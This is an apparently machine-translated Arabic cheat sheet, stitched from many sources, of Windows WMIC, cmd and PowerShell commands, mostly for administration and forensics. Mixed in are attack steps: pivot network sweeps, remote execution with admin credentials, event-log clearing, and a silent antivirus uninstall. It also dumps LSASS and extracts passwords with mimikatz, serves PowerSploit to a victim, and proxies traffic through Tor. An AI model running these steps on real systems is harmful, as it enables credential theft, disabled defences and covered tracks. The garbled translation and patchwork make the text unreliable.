Enable-WSManCredSSP -Role "Client" -DelegateComputer "server02.accounting.fabrikam.com", "server03.accounting.fabrikam.com", "server04.accounting.fabrikam.com"
لسماح لجهاز كمبيوتر بالعمل كمفوض
Enable-WSManCredSSP -Role "Server"
_________________________________________________________
يتم إنشاء نقطة الاسترداد بسرعة كبيرة، حوالي 2 دقيقة.
Checkpoint-Computer -Description "After install drivers"
______________________
Get-ComputerRestorePoint
____________________
تحديد التصحيحات الأمنية ويندوز باستخدام وميك
wmic qfe get description,installedOn
ملاحظة: هذا ينتج قائمة طويلة من ويندوز باتشس وعندما تم تثبيتها وتصدير النتائج في ستدوت. وبهذه الطريقة تعرف بالضبط كيفية مهاجمة محطة العمل أو إجراء الإصلاح لمحطة العمل.
تحديد خدمات النوافذ
sc query type= service (running services)
sc query type= service state= inactive (exist but don't run)
sc query type= service state= all (running and not running)
تحديد برامج بدء تشغيل ويندوز
########################################################################kkkkkkkkkkkkkkkkkkkkkkkkkkkkkk
هذه الأوامر هي الإبلاغ عن برامج البدء
wmic startup
wmic startup list full
wmic startup list brief
wmic startup list system
ملاحظة: هذه الأوامر تنتج قائمة مع جميع البرامج بدء جنبا إلى جنب مع مفاتيح التسجيل الخاصة بهم، وصف البرنامج واسم البرنامج. الخيارات المعروضة أعلاه تعطيك مخرجات مختلفة. مثيرة جدا للاهتمام عند القيام البرمجيات الخبيثة التحليل السلوكي.
wmic /node:machinename startup list full
wmic STARTUP GET Caption, Command, User
ملاحظة: سيؤدي ذلك إلى تغيير بوابة الشبكة
wmic nicconfig where index=9 call enabledhcp
ملاحظة: سيؤدي ذلك إلى تمكين دكب.
wmic service where caption="DHCP Client" call changestartmode "Disabled"
wmic service where caption="DHCP Client" call changestartmode "Automatic"
wmic service where caption="DHCP Client" call changestartmode "Manual"
ملاحظة: سيؤدي ذلك إلى تمكين دكب من تعطيل الخدمة تلقائيا أو يدويا.
wmic /node:machinename nicconfig where Index=1 call EnableDHCP
ملاحظة: تغيير إب عن بعد لاستخدام دكب
wmic /node:machinename nicconfig where Index=1 call EnableStatic ("172.16.10.10"), ("255.255.0.0")
مجموعات الأوامر أعلاه تسمح لك التعامل مع كل نوع من معالجة العملية:
wmic process
wmic process list brief
wmic process list full
wmic process list system
ملاحظة: عمليات أوامر الأوامر المذكورة أعلاه في جهاز ويندوز.
wmic /record:processes.xml process list brief
wmic /record:processes.xml process list full
wmic /record:processes.xml process list system
ملاحظة: بعد تشغيل الأمر، يتم تخزين النتائج بتنسيق شمل. هذا هو الشكل الوحيد المدعوم، ولكن هذا هو سجل مفيد من ما كتبته، عند كتابته، والنتائج التي حصلت عليها.
wmic process where name='process_name.exe'
wmic process where name='process_name.exe' list brief
wmic process where name='process_name.exe' list full
wmic process where name='process_name.exe' list system
wmic process where name='process_name.exe' delete
إيمب وشبكة دنس تجتاح
بعد الاستيلاء على مربع ويندوز يمكنك استخدامه كمحور، ولكن ماذا يحدث إذا كان مربع مقيدة ولا يمكنك تحميل أو تحميل أي أدوات؟ حسنا سوف الأوامر التالية القيام بهذه المهمة
for /L %I in (1,1,254) DO @ping -n 1 192.168.1.%I | findstr "TTL=128" >> pinglog.txt
ملاحظة: سوف يقوم تسلسل الأمر هذا بإرسال حزمة واحدة فقط والإبلاغ عن هذا الجهاز الذي يحتوي على حقل صفر بلا تل. سيتم تخزين مخرجات الحلقة في ملف يدعى pinglog.txt.
for /L %I in (1,1,254) DO @nslookup 192.168.1.%I | find "Name:" >> dnslog.txt
ملاحظة: سيقوم هذا التسلسل الأمر بإجراء بحث دنس العكسي باستخدام ملقم دنس المحلي (يمكن ملاحقة دنس خادم خارجي أيضا). سيتم تخزين الإخراج في ملف سجل يسمى dnslog.txt
pathping targethost (for a single host only)
for /L %I in (1,1,254) DO @pingpath -n 192.168.1.%I >> traceping.txt
ملاحظة: يجمع هذا الأمر بين وظائف بينغ و تراسرت. سوف باثبينغ أولا قائمة عدد من القفزات المطلوبة للوصول إلى العنوان الذي يتم اختبار ثم إرسال عدة بينغ لكل جهاز التوجيه بينك وبين الوجهة. بعد ذلك، فإنه يحسب النتائج على أساس حزم عاد من كل جهاز التوجيه. ونظرا لأن درجة المسير تعرض درجة فقدان الرزم في أي موجه أو وصلة معينة، يمكنك تحديد الموجهات أو الشبكات الفرعية التي قد تواجه مشكلات في الشبكة. لاحظ أن العملية برمتها قد تستهلك 5-10 دقائق لأن العديد من بينغ يتم إرسالها. هناك مفاتيح لتعديل العملية وهذه يمكن أن ينظر إليه عن طريق إدخال "باثبينغ /؟" في موجه الأوامر. سوف تسلسل الأوامر أعلاه خريطة الشبكة بأكملها جنبا إلى جنب مع طرقها (وهذا سيكون مطول).
for /L %I in (1,1,254) DO @echo -Route: %I- >> trace.txt & @pathping -n 1 192.168.1.%I >> trace.txt
ملاحظة: هذا سوف تفعل توجيه تتبع بسيط من الشبكة المحلية بأكملها.
ويندوز اتصال اتصال الشبكة
التعامل مع مستخدمي ويندوز
تعرض الأمثلة التالية قائمة بجميع حسابات المستخدمين للكمبيوتر المحلي (بعض الأوامر تفعل ذلك جنبا إلى جنب مع غيرها من المعلومات المفيدة):
net user
wmic useraccount
wmic useraccount list brief
يعرض المثال التالي معلومات حول حساب المستخدم سوميوسر:
net user someuser
wmic service list brief
netsh int ip delete arpcache
تدقيق السياسات الأمنية
ينطبق على: ويندوز 7 و ويندوز سيرفر 2008 و ويندوز سيرفر 2008 R2 و ويندوز فيستا يعرض معلومات حول ويؤدي وظائف لمعالجة سياسات التدقيق. للحصول على أمثلة حول كيفية استخدام هذا الأمر راجع قسم الأمثلة في كل موضوع.
Auditpol /get /user:{S-1-5-21-1443922412-3030960370-963420232-51} /category:"System","Detailed Tracking","Object Access"
_____________________
دعونا نلقي نظرة على بعض الاستخدام المثال. للتعرف على الأسماء المستعارة المتاحة، افتح موجه الأوامر واكتب:
wmic alias list brief
بيانات الاعتماد المقدمة
wmic volume list brief
على سبيل المثال، استعلام يقوم فقط بإرجاع مثيلات Win32_process التي تطابق اسم إميت:
wmic process where "name ='notepad.exe'"
wmic process where "name like '%notepad%'"
وميك هو عالم في حد ذاته، معقدة للغاية، وقادرة على قراءة عدة آلاف من الإعدادات على صندوق ويندوز، وتحديث المئات، مرة أخرى على حد سواء محليا وبعد. وهو يتضمن لغة الاستعلام الخاصة بها، يسمى وقل، ل ومي الاستعلام اللغة، مجموعة فرعية من أنسي سكل.
ولكن بونتيفيكاتينغ بما فيه الكفاية! دعونا الحصول على التدريب العملي على. وهنا بعض الأشياء متعة يمكنك القيام به مع وميك التي خدمتنا بشكل جيد للغاية في البحث مكافحة التجسس لدينا:
wmic process [pid] delete
أو، أفضل من ذلك، حاول هذا واحد على لحجم:
wmic process where name='cmd.exe' delete
يتيح لك قتل العمليات بالاسم.
wmic process list brief /every:1
wmic useraccount
تحصل على أسماء المستخدمين
wmic qfe
wmic /?
wmic startup list full
ن يعمل قليلا مثل لينكس "بس -
wmic /?:full > wmic_docs_that_stink.txt
wmic /output:c:\os.html os get /format:hform
عد ذلك، افتح c: \ os.html في المتصفح، وانقع في هذا الإخراج الجميل. Ooooohhhh. Ahhhhhhh.
للحصول على قائمة أنواع التنسيق التي تدعمها وميك، يمكنك كتابة
wmic [stuff to do] /format /?
wmic process list /format /?
التحديث السابع:
wmic /record:test.xml process list brief
التحديث 8:
قارئ آخر، رغبة عدم الكشف عن هويته، يتحدث عن خيارات تكوين واجهة الشبكة التي تقدمها وميك، مثل:
wmic nicconfig where IPEnabled='true'
هذا سوف تعطيك قائمة من واجهات إب.
أو، لتغيير عنوان إب في سطر الأوامر، يمكنك
wmic nicconfig where Index=1 call EnableStatic ("10.10.10.10"), ("255.255.255.0")
بالنسبة إلى دكب، يمكنك إجراء ذلك:
wmic nicconfig where Index=1 call EnableDHCP
آخر الذي يريد عدم الكشف عن هويته.
netsh /?
wmic process get processid,commandline
wmic process where "name like '%chrome%'" get processid,commandline
sc query type= service
برامج بدء التشغيل
wmic startup list brief
وميك تنفيذ الأوامر عن بعد:
wmic /node:10.0.0.1 /user:Administrator process call create "cmd.exe /c calc.exe"
==================================
wmic process list full | more ====
wmic process list full > output.txt ====
==================================
إذا كان لديك لاستخدام وميك، مما يمكنك الإختراق في طريقك من خلال خلط نتائج
Get-WmiObject -Class Win32_Process |
Select-Object Name, @{
Name = 'Owner'
Expression = {
$_.GetOwner().User
}
}
______
wmic process get Name
للحصول على أصحاب كافة عمليات taskeng.exe (عمليات جدولة المهام ويندوز المهام الفردية):
wmic process where "name='taskeng.exe'" call GetOwner
_______________________
WINDOWZ > CMD > PowerShell
تاسكيل: يستخدم هذا الأمر لإنهاء العملية أو قتل أي عملية قيد التشغيل في النظام الخاص بك. اكتب قائمة المهام لإدراج كل العملية قيد التشغيل على النظام.
اكتب الأمر التالي لقتل عملية المفكرة من العملية
taskkill /IM notepad.exe
___________________________________________________________________
هذا الأمر أغلق بقوة جميع العمليات التي لا تستجيب. (هنا / و حدد القوات لقتل العملية)، اكتب الأمر التالي
taskkill /f /fi
____________________________________________________________________
يمكنك أيضا إجراء نفس جمع البيانات عبر الشبكة دون تسجيل الدخول إلى الجهاز البعيد بعد أن تعرف أن لديك بعض بيانات الاعتماد الإدارية التي يقبلها النظام البعيد.
يبدو الأمر نفسه الصادر ضد نظام بعيد في نطاق آخر كما يل
wmic /user:”FOREIGN_DOMAINAdmin” /password:”Password” /node:192.168.33.25 group list brief
___________________________________________________________________
على سبيل المثال، يمكنك جمع قائمة من المجموعات على النظام المحلي باستخدام الأمر التالي:
wmic group list brief
___________________________________________________________________
بدء تطبيق
wmic process call create “calc.exe”
___________________________________________________________________
إنهاء تطبيق
wmic process where name=”calc.exe”
___________________________________________________________________
الحصول على قائمة معرفات العملية
wmic process where (Name=’svchost.exe’)
___________________________________________________________________
معلومات النظام والإعدادات
يمكنك جمع قائمة متغيرات البيئة (بما في ذلك باث) مع هذا الأمر
wmic environment list
____________________________________________________________________
المنتجات / البرامج المثبتة التقرير هتمل منسق
wmic /output:c:product.html product get /format:hform
____________________________________________________________________
تشغيل سطح المكتب البعيد عن بعد
Wmic /node:”servername” /user:”user@domain” /password: “password” RDToggle where ServerName=”server
name” call SetAllowTSConnections 1
____________________________________________________________________
الحصول على استخدام محرك الأقراص الخادم عن بعد
WMIC /Node:%%A LogicalDisk Where DriveType=”3" Get DeviceID,FileSystem,FreeSpace,Size /Format:csv MORE /E +2 >> SRVSPACE.CSV
____________________________________________________________________
الحصول على الرقم التسلسلي بيسي
wmic /node:”HOST” bios get serialnumber
____________________________________________________________________
الحصول على رقم المنتج بيسي
wmic /node:”HOST” baseboard get product
____________________________________________________________________
البحث عن الأشياء التي تبدأ في التمهيد
wmic STARTUP GET Caption, Command, User
____________________________________________________________________
إعادة التشغيل أو إيقاف التشغيلا
wmic os where buildnumber=”2600" call reboot
____________________________________________________________________
الحصول على قائمة بدء التشغيل
wmic startup list full
____________________________________________________________________
معلومات حول الأقراص الصلبة
wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber
____________________________________________________________________
معلومات حول نظام التشغيل
wmic os get bootdevice, buildnumber, caption, freespaceinpagingfiles, installdate, name, systemdrive, windowsdirectory /format:htable > c:osinfo.htm
____________________________________________________________________
معلومات حول الملفات
wmic path cim_datafile where “Path=’\windows\system32\wbem\’ and FileSize>1784088” > c:wbemfiles.txt
----------------------------------------------------------------------------------------------------------------------------
يمكن الحصول على معلومات المستخدمين والمجموعات المحلية باستخدام هذه الأوامر:
wmic useraccount list
wmic group list
wmic sysaccount list
____________________________________________________________________
بالنسبة لوحدات التحكم بالمجال، يجب أن يوفر ذلك قائمة بجميع حسابات المستخدمين والمجموعات في النطاق. إصدار "سيساكونت" يوفر لك حسابات النظام المدمج في وغيرها، وهو أمر مفيد لأي حسابات إضافية قد تكون قد أضيفت من قبل الجذور الخفية.
تحديد أي حسابات النظام المحلي التي تم تمكين (ضيف، وما إلى ذلك)
wmic USERACCOUNT WHERE “Disabled=0 AND LocalAccount=1” GET Name”
_____________________________________________________________________
عدد عمليات تسجيل الدخول لكل وسيريد
wmic netlogin where (name like “%skodo”) get numberoflogons
_____________________________________________________________________
الحصول على أسماء النطاقات وعند تعيين الأشخاص ذوي الإعاقة في الحساب على انتهاء الصلاحية
WMIC UserAccount GET name,PasswordExpires /Value
_____________________________________________________________________
إدارة التصحيح
تحتاج إلى معرفة ما إذا كان هناك أي بقع مفقودة على النظام؟ وميك يمكن أن تساعدك على معرفة مع هذا كومان
wmic qfe list
_____________________________________________________________________
تشارك
يمكن جمع تعداد جميع الأسهم المحلية باستخدام الأمر
wmic share list
_____________________________________________________________________
استخدم الأمر التالي لاستخراج قائمة محولات الشبكة ومعلومات عنوان إب:
wmic nicconfig list
_____________________________________________________________________
الحصول على عنوان ماك:
wmic nic get macaddress
_____________________________________________________________________
تحديث عنوان إب الثابت:
wmic nicconfig where index=9 call enablestatic(“192.168.16.4”), (“255.255.255.0”)
_____________________________________________________________________
تغيير بوابة الشبكة:
wmic nicconfig where index=9 call setgateways(“192.168.16.4”, “192.168.16.5”),(1,2)
_____________________________________________________________________
تمكين دكب
wmic nicconfig where index=9 call enabledhcp
_____________________________________________________________________
الحصول على قائمة من واجهات إب
wmic nicconfig where IPEnabled=’true’
_____________________________________________________________________
وميك يمكن سرد كافة الخدمات المثبتة وتكويناتها باستخدام هذا الأمر:
wmic services list
_____________________________________________________________________
وسيشمل الإخراج الأمر الكامل المستخدم لبدء الخدمة ووصفها المطول.
wmic service where caption=”DHCP Client” call changestartmode “Disabled”
_____________________________________________________________________
خدمات تقرير عن جهاز بعيد هتمل تنسيق:
wmic /output:c:services.htm /node:server1 service list full / format:htable
_____________________________________________________________________
الحصول على ستارتمود من الخدمات
Wmic service get caption, name, startmode, state
_____________________________________________________________________
ميزة أخرى مثيرة للاهتمام من وميك هو قدرته على تسجيل الأمر وقت التشغيل تنفيذها وتكوين وقت التشغيل في كل ملف شمل واحد. قد تبدو الجلسة المسجلة على النحو التالي:
wmic /record:users_list.xml useraccount list
_____________________________________________________________________
وبطبيعة الحال، منذ لم يتم تصميم وميك كجهاز تسجيل، وهناك بعض المحاذير لاستخدام شمل. أولا، يمكنك فقط استخدام إخراج شمل، لا توجد صيغ أخرى محددة.
سجلات الأحداث
الحصول على نوع معين من الحدث من إيفنتلوغ
wmic ntevent where (message like “%logon%”) list brief
_______________________________________________________________________
مسح إيفنتلوغ
wmic nteventlog where (description like “%secevent%”) call cleareventlog
_______________________________________________________________________
استرداد قائمة من التحذيرات والأحداث الخطأ ليس من سجلات النظام أو الأمن
WMIC NTEVENT WHERE “EventType < 3 AND LogFile != ‘System’ AND LogFile != ‘Security’” GET LogFile, SourceName, EventType, Message, TimeGenerated /FORMAT:”htable.xsl”:” datatype = number”:” sortby = EventType” > c:appevent.htm
________________________________________________________________________
--------------------------------
للتحقق من أن الكمبيوتر في مجموعة عمل وأنه تم تثبيت شهادة في مخزن الكمبيوتر. أدخل:
Get-CimInstance –ClassName Win32_ComputerSystem
Get-ChildItem –Path Cert:\LocalMachine\My
تكوين جدار الحماية للسماح حركة مرور هتبس على المنفذ 5986. أدخل:
Netsh AdvFirewall firewall add rule name="WinRM (HTTPS)" `
protocol=TCP dir=in localport=5986 action=allow
عداد المستمع وينرم هتبس، تحتاج إلى كتابة أو نسخ بصمة شهادة من الإخراج السابق. ثم قم بتشغيل هذا الرمز
New-WSManInstance winrm/config/Listener
____________________________________________________________________________10
للتحقق من أن الكمبيوتر في مجموعة عم
Get-ChildItem -Path Cert:\LocalMachine
بدء جلسة عن بعد لاختبار مستمع هتبس. يركض:
Enter-PSSession –ComputerName Server1 –Credential Server1\Administrator -UseSSL
بعد إدخال كلمة المرور، يتم عرض موجه جلسة العمل عن بعد، مما يؤكد اتصال هتبس ناجحا.
hostname
أولا، للتحقق من أن قائمة تروستيدوستس فارغة، تشغيل:
Get-Item –Path WSMan:\localhost\Client\TrustedHosts
تدخلها هنا هي نفسها التي تستخدم عند إعادة التوجيه. على سبيل المثال،
Set-Item -Path WSMan:\localhost\Client\TrustedHosts -Value CoreG2
للتحقق من صحة التهيئة، قم بتشغيل هذا مرة أخرى:
Get-Item –Path WSMan:\localhost\Client\TrustedHosts
دعونا تحقق من أن CoreG2 في مجموعة عمل. أدخل:
Get-CimInstance –ClassName Win32_ComputerSystem | FL
لاختبار الاتصال أدخل:
Enter-PSSession –ComputerName CoreG2 –Credential CoreG2\Administrator
مكن تكوين قائمة تروستيدوستس محليا أو باستخدام نهج
Enable-WSManCredSSP –Role Client –Delegate
استهدف اسم الكمبيوتر يمكن أن يكون * البدل أو البدل محدود م
Enable-WSManCredSSP –Role Server
إلى وحدة تحكم مجال باسم FS1.
$rdc = New-PSSession –ComputerName FS1
لعرض قائمة الوحدات النمطية على FS1،
Get-Module -List -PSSession $rdc | FT ModuleType,Name -AutoSize
لاستيراد وحدة أكتيف ديركتوري من FS1، أدخل:
Import-Module -PSSession $rdc -Name ActiveDirectory
لمعرفة عدد أوامر أد متوفرة الآن على الكمبيوتر المحلي، أدخل:
Get-Command –Module ActiveDirectory | Measure-Object
ستكون هذه الأوامر متوفرة طالما يمكنك الاحتفاظ بسسيون مفتوحة مع الكمبيوتر البعيد.
دعونا نختبر عن بعد عن طريق البحث عن حسابات الكمبيوتر في الدليل. أدخل:
Get-ADComputer –Filter * –SearchBase “OU=file servers,dc=lanztek,dc=local” |
Select Name,ObjectGUID | FT -Autosize
تسيس إلى الموقع غير مسموح به حتى يتم تكوين قواعد التفويض لتعريف المستخدمين والمجموعات التي سيتم السماح لها باستخدام بوابة ويندوز بويرشيل وأجهزة الكمبيوتر التي يمكن للمستخدمين والمجموعات الاتصال بها. لإضافة قاعدة تفويض، اكتب ما يلي:
Add-PswaAuthorizationRule –UserName Lanztek\Administrator
-ComputerName * -ConfigurationName *
دعونا الاستفادة من وحدة تحكم بويرشيل على شبكة الإنترنت لإنشاء مشاركة شبكة الاتصال على اسم كمبيوتر بعيد FS1. أدخل:
New-SmbShare –name Updates –Path c:\updates –FullAccess lanztek\admin –ReadAcess HelpDesk
للتحقق من الأذونات، قم بتشغيل
Get-SmbShareAccess –Name Updates
_____________________________
أوامر ويندوز مدمجة لتحديد ما إذا كان قد تم الاستيلاء على النظام
wmic process
wmic process list brief
wmic process list full
wmic startup list full
wmic process list brief /every:1 CTRL + C
openfiles /local on
openfiles /query /v
netstat -nao
netstat –s –p icmp
whoami
_______________________
تجزئة الجداول وأمرت الكائنات المخصصة
Get-ChildItem . | Where-Object { "Contacts", "Desktop" -contains $_.BaseName }
[PSCustomObject] @{ Something = 1; SomethingElse = 2 }
Get-ChildItem . | Select-Object -ExpandProperty FullName
مرة أخرى في بويرشيل 2 الحياة كان مربكا قليلا عند التعامل مع صفائف فارغة ومصفوفات فارغة.
Get-ChildItem . | ForEach-Object { "Never triggered in an empty directory" }
$items = Get-ChildItem .
foreach ($item in $items) {
"Always triggered in an empty directory"
}
___________________________
أولا أنا جعل ملف الحمولة النافعة بسيطة فقط للتأكد من أن كل شيء يعمل.
Get-ChildItem c:\ > $env:temp\dirlist.txt
notepad $env:temp\dirlist.txt
---------------------------------------------------------------------
منذ البرامج النصية بويرشيل يمكن النووية الجديدة النظام الخاص بك تماما، ويندوز ساجاسيوسلي تعطيل هذه البرامج النصية بشكل افتراضي.
لتغيير هذا، نحتاج إلى تعيين سياسة التنفيذ مؤقتا إلى غير المقيد. بالمناسبة، بعد تشغيل البرنامج النصي يجب تغيير سياسة التنفيذ مرة أخرى إلى مقيدة.
اكتب:
______________
تحرير استراتيجية التنفيذ
استراتيجية التنفيذ يساعد على الحراسة ضد النصوص التي تحكم
لا يمكن الاعتماد عليها. عن طريق تعديل استراتيجية التنفيذ، تعرض نفسك لمخاطر
الموضحة في موضوع المساعدة about_Execution_Policies. تريد
تغيير استراتيجية التنفيذ؟
[O] نعم [N] لا [S] تعليق [؟] تعليمات (الافتراضي هو "O"):
Set-ExecutionPolicy Unrestricted
ثم قم باستيراد البرنامج النصي بكتابة نقطة متبوعة بالمسار إلى PS1.
C:\Users\vhudson\Documents\Scripts\PowerShell\Out-Minidump.ps1
في المهوس الكلام وهذا ما يعرف باسم "نقطة مصادر" السيناريو وانها طريقة واحدة لاستيراد وظائف في بويرشيل.
سترى فوسيلاد من التحذيرات الأمنية - وهو أمر جيد. ولكن هذا هو السبب الذي قلت لك لفحص السيناريو أولا. لا تنفذ بشكل متعمد نصوص برمجية تجدها عبر الإنترنت. تحقق دائما من التعليمات البرمجية أولا حتى تتمكن من الحصول على بعض فكرة ما يفعله.
اضغط على "r" لتشغيل البرنامج النصي ثم قم بتنفيذ تفريغ الذاكرة
Get-Process lsass | Out-Minidump
تفريغ تفريغ في٪ ويندير٪ System32 \ ولكن نحن بحاجة إلى نقله إلى موقع مختلف حتى نتمكن من مشاهدته. استخدام كمد-كوبيت البند لفعل ثا
Copy-Item .\lsass_516.dmp C:\Users\Vonnie\Documents\Scripts\PowerShell\
عظيم الآن نحن على استعداد لموسيقى الروك.
الوجه الخلفي إلى محطة ميميكاتز وتحميل في تفريغ لساس استولينا في بويرشيل.
sekurlsa::minidump C:\Users\Vonnie\Documents\Scripts\PowerShell\lsass_516.dmp
يجب أن تتحول إلى ملف مينيدومب حتى الآن يمكننا عرض كلمات المرور
الآن لكمة في:
sekurlsa::logonPasswords full
__________________________________________________________
echo $Env:OS
cd HKLM:
____________________________
للتحقيق في جوانب أخرى من المضيف، يمكن استخدام خطوط أوامر مختلفة لجمع البيانات حول نظام التشغيل. للحصول على قائمة من تكوينات إب، يمكن للمشرفين لنا
Ipconfig –a
===============
يمكن استخدام الأمر نيتش لإدراج حالة جدار الحماية مع:
netsh advfirewall export "firewall.txt"
------------------------------------------
يمكن استخدام الأمر دريفيركيري لإدراج أي برامج تشغيل قيد الاستخدام والتي يمكن استخدامها لتحديد برامج التشغيل الضارة المحتملة
driverquery /v /fo csv > drvlist.csv
______________________
يمكن توجيه كل هذه الأوامر إلى ملف باستخدام عامل التشغيل ">"، على سبيل المثال
C:\>ipconfig /a > ipconfig.txt
---------------------
يستخدم هذا البديل التالي بويرشيل لإلغاء تثبيت كل من x86 و x64 إصدارات تطبيق أف المثبتة. فإنه يتكرر على إدخالات في مسار التسجيل إلغاء التثبيت للعثور على العناصر مع "* أفغ *" ثم إلغاء تثبيت كل مثيل بهدوء.
$uninstall32s = gci "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall" | foreach { gp $_.PSPath } | ? { $_ -like "*AVG*" } | select UninstallString;$uninstall64s = gci "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" | foreach { gp $_.PSPath } | ? { $_ -like "*AVG*" } | select UninstallString;foreach($uninstall64 in $uninstall64s) {$uninstall64 = $uninstall64.UninstallString -Replace "MsiExec.exe","" -Replace "/I","" -Replace "/X","";$uninstall64 = $uninstall64.Trim();if($uninstall64 -like "*/mode=offline*"){}else{Write-Warning $uninstall64; start-process "msiexec.exe" -args "/x $uninstall64 /qn /norestart" -Wait }};foreach($uninstall32 in $uninstall32s) {$uninstall32 = $uninstall32.UninstallString -Replace "MsiExec.exe","" -Replace "/I","" -Replace "/X","";$uninstall32 = $uninstall32.Trim();if($uninstall32 -like "*/mode=offline*"){}else{Write-Warning $uninstall32; start-process "msiexec.exe" -args "/x $uninstall32 /qn /norestart" -Wait }};
________________________________________________________________________________
____________________________________________________________________________________
أين وجدت أكثر فائدة لاستخدام بويرشيل في البيئة الخاصة بك؟
Start-Process -FilePath 'ping.exe' -ArgumentList 'google.com' -Wait -NoNewWindow
& 'ping.exe' google.com
ping google.com
___________________________________________
عند استخدام حلقة فوريش، بويرشيل يكرر التعليمات البرمجية لكل عنصر المذكورة في البرنامج النصي.
$array = ('item1','item2','item3')
foreach ($item in $array) {
$item
}
Invoke-Expression -Command 'ping.exe google.com'
function Get-TopLevelStructure {
[cmdletbinding()]
param([Parameter(Mandatory = $True,
ValueFromPipeline = $true,
ValueFromPipelineByPropertyName = $true)]
[string]$Path)
process {
cls
Get-ChildItem $Path | select FullName,LastWriteTime,Attributes
}
}
___________________________________________________________________
function ipconfig_all_function() {
ipconfig /all
}
New-Alias -name ipa -value ipconfig_all_function
_____________________________________________
cd_home_function() {
cd $HOME
}
New-Alias -name home -value cd_home_function
______________________________________
New-Alias -name n -value notepad
________________________________________
function exit_function() {
exit
}
New-Alias -name x -value exit_function
في ملف .bashrc / .bash_aliases يمكنك تحديد الوظائف التي يمكن تشغيلها فضلا عن الأسماء المستعارة، للأسف هذا غير ممكن مع بويرشيل. يجب عليك أولا تعريف الدالة ثم استخدام الأمر نيو-إلياس لربط اسم الدالة باسم مستعار يمكننا كتابة في موجه.
مع فتح ملف دعونا إضافة بعض الأسماء المستعارة:
ماذا عن اسم مستعار سريع لتشغيل إيبكونفيغ:
New-Alias ipconfig -value ip
__________________________________
ls | select fullname
Get-ChildItem | Select-Object fullname
New-Item -type file -force $PROFILE
____________________________________
Get-ChildItem -recurse
________________________________________________________________
على سبيل المثال، إذا كنت ترغب في العثور على كافة الأوامر التي تبدأ بالحرف "s"، اكتب:
get-command s*
__________________________________________________________________________
للحصول على المزيد من خصائص التاريخ والوقت، يمكننا استخدام كمدليت من الدرس السابق:
get-date | get-member
____________________________________________________________________________
Get-Process
لآن لدينا جلسة على جهاز ويندوز. نجاح! يمكننا الآن التحقق من تشغيل العمليات على النظام المستهدف عن طريق كتابة:
________________________________________________________________________
هو أسهل طريقة للتأكد من أنك لم يصاب هو فتح موجه الأوامر واستخدام أداة اسمها نيتستات (شكل مختصر من إحصاءات الشبكة) لرؤية جميع المنافذ النشطة والاستماع على النظام الخاص بك.
و بعد اندفاعة يخبر نيتستات للكشف عن كافة الاتصالات الحالية إلى جهاز الكمبيوتر الخاص بك. يعرض الخيار b في الأمر الملف الثنائي. وبعبارة أخرى، اسم التطبيق الفعلي الذي يقوم بإنشاء الاتصال.
قد يبدو ناتج نيتستات أعلاه غير منظم ولكن هناك في الواقع أربعة أعمدة:
netstat -ab
______________________________________________________________________________
get-childitem
get-command -verb get
nbtstat -A 192.168.43.45
""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
إذا كنت تريد أن تقتل عملية، يمكنني استخدام الأمر تاسكيل. فإنه يتطلب بيد من العملية التي نريد أن تقتل. في هذه الحالة، عملية المستكشف لديه بيد من 1532، لذلك لقتله، أستطيع أن اكتب:
حيث يعني / F لإجبار القتل.
tasklist
taskkill /PID 1532 /F
__________________________________________
لهذه الخطوة التالية، نحن بحاجة إلى بدء خادم الويب على نظام كالي لدينا لخدمة ما يصل أوامرنا بويرسبلويت إلى آلة الضحية. هناك العديد من الطرق للقيام بذلك. يمكنك، على سبيل المثال، نسخ دليل بويرسبلويت إلى / فار / ووو / هتمل وبدء تشغيل ملقم ويب أباتشي.
خادم ويب بسيط في الدليل بويرسبلويت. يمكننا القيام بذلك عن طريق الكتابة أثناء وجوده في الدليل بويرسبلويت.
python -m SimpleHTTPServer
الآن لدينا خادم ويب بدأ في الدليل بويرسبلويت. وهذا يعني أن أي شخص يصل إلى خادم الويب هذا سوف يكون الوصول إلى هذا الدليل على نظام كالي لدينا.
_____________________
AL9RSANA
# Start polipo proxy
Start-Process $Polipo -ArgumentList ‘socksParentProxy=localhost:9050’ -WindowStyle Hidden
Start-Sleep 7
$WebProxy = New-Object Net.WebProxy(‘localhost:8123’)
$WebProxy.UseDefaultCredentials = $True
$WebClient.Proxy = $WebProxy
____________________________
___________________________________________________
وهناك الكثير من البرامج الضارة يعمل تلقائيا على الجهاز عن طريق إضافة دخول لصناعة السيارات في بداية جنبا إلى جنب مع تلك المشروعة التي قد تنتمي إلى أدوات مكافحة الفيروسات وبرامج علبة النظام المختلفة. يمكن للمستخدمين النظر في إعدادات أخرى على جهاز مع وميك عن طريق استبدال "بدء التشغيل" مع "كف" (اختصار الذي يقف على "الإصلاح السريع الهندسة") لمعرفة مستوى التصحيح من نظام، مع "حصة" لرؤية قائمة من ملف ويندوز الأسهم المتاحة على الجهاز ومع "وسركونت" للاطلاع على إعدادات حساب المستخدم مفصلة.
وهناك خيار مفيد داخل وميك هو القدرة على تشغيل أمر جمع المعلومات على أساس متكرر باستخدام بناء الجملة "/ كل: [N]" بعد بقية الأمر وميك. و [N] هنا هو عدد صحيح، مشيرا إلى أن وميك يجب تشغيل الأمر المعطى كل [N] ثانية. وبهذه الطريقة، يمكن للمستخدمين البحث عن التغييرات في إعدادات النظام مع مرور الوقت، مما يتيح التدقيق الدقيق للناتج. باستخدام هذه الوظيفة لسحب ملخص العملية كل 5 ثوان، يمكن للمستخدمين تشغيل:
wmic process list brief /every:1 CTRL + C
3) أوبنفيلز: التدقيق العميق
العديد من المسؤولين ويندوز غير مألوفة مع الأمر أوبنفيلز قوية في صلب ويندوز. كما يوحي اسمها، يظهر هذا الأمر كافة الملفات التي يتم فتحها في المربع، مما يشير إلى اسم العملية التي تتفاعل مع كل ملف. انها بنيت في الإصدارات الحديثة من ويندوز، من زب برو إلى ويندوز فيستا. مثل الأمر لسوف شعبية لينكس و أونيكس، وسوف تظهر المسؤولين جميع الملفات المفتوحة على الجهاز، وإعطاء اسم العملية والمسار الكامل لكل ملف. على عكس لسوف، ومع ذلك، فإنه لا يوفر الكثير من التفاصيل، مثل رقم معرف العملية، رقم المستخدم وغيرها من المعلومات.
